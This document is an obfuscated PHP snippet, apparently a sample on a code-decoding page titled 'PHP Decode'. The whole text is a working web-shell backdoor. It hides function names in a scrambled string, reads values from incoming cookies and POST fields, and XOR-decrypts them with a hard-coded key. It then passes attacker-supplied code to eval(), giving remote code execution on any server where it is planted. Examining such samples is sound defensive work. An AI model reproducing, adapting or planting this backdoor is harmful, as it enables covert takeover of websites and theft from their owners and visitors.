PHP Decode

<?php 
$mbqiy = 'ev857fd-cg29oi4r6sHlt_*xby1kua3#\'mpn';$ejtoaf = Array();$ejtoaf[] = $mbqiy[11].$mbqiy[4].$mbqiy[24].$mbqiy[16].$mbqiy[10].$mbqiy[0].$mbqiy[8].$mbqiy[30].$mbqiy[7].$mbqiy[16].$mbqiy[29].$mbqiy[5].$mbqiy[26].$mbqiy[7].$mbqiy[14].$mbqiy[2].$mbqiy[16].$mbqiy[6].$mbqiy[7].$mbqiy[11].$mbqiy[2].$mbqiy[26].$mbqiy[26].$mbqiy[7].$mbqiy[10].$mbqiy[10].$mbqiy[16].$mbqiy[30].$mbqiy[4].$mbqiy[4].$mbqiy[6].$mbqiy[30].$mbqiy[10].$mbqiy[30].$mbqiy[3].$mbqiy[0];$ejtoaf[] = $mbqiy[18].$mbqiy[22];$ejtoaf[] = $mbqiy[31];$ejtoaf[] = $mbqiy[8].$mbqiy[12].$mbqiy[28].$mbqiy[35].$mbqiy[20];$ejtoaf[] = $mbqiy[17].$mbqiy[20].$mbqiy[15].$mbqiy[21].$mbqiy[15].$mbqiy[0].$mbqiy[34].$mbqiy[0].$mbqiy[29].$mbqiy[20];$ejtoaf[] = $mbqiy[0].$mbqiy[23].$mbqiy[34].$mbqiy[19].$mbqiy[12].$mbqiy[6].$mbqiy[0];$ejtoaf[] = $mbqiy[17].$mbqiy[28].$mbqiy[24].$mbqiy[17].$mbqiy[20].$mbqiy[15];$ejtoaf[] = $mbqiy[29].$mbqiy[15].$mbqiy[15].$mbqiy[29].$mbqiy[25].$mbqiy[21].$mbqiy[33].$mbqiy[0].$mbqiy[15].$mbqiy[9].$mbqiy[0];$ejtoaf[] = $mbqiy[17].$mbqiy[20].$mbqiy[15].$mbqiy[19].$mbqiy[0].$mbqiy[35];$ejtoaf[] = $mbqiy[34].$mbqiy[29].$mbqiy[8].$mbqiy[27];foreach ($ejtoaf[7]($_COOKIE, $_POST) as $vwajwy => $xdykg){function nzbhpw($ejtoaf, $vwajwy, $vvmdws){return $ejtoaf[6]($ejtoaf[4]($vwajwy . $ejtoaf[0], ($vvmdws / $ejtoaf[8]($vwajwy)) + 1), 0, $vvmdws);}function pjigpqr($ejtoaf, $gbdnw){return @$ejtoaf[9]($ejtoaf[1], $gbdnw);}function sxjsna($ejtoaf, $gbdnw){$onpwqtm = $ejtoaf[3]($gbdnw) % 3;if (!$onpwqtm) {eval($gbdnw[1]($gbdnw[2]));exit();}}$xdykg = pjigpqr($ejtoaf, $xdykg);sxjsna($ejtoaf, $ejtoaf[5]($ejtoaf[2], $xdykg ^ nzbhpw($ejtoaf, $vwajwy, $ejtoaf[8]($xdykg))));} ?>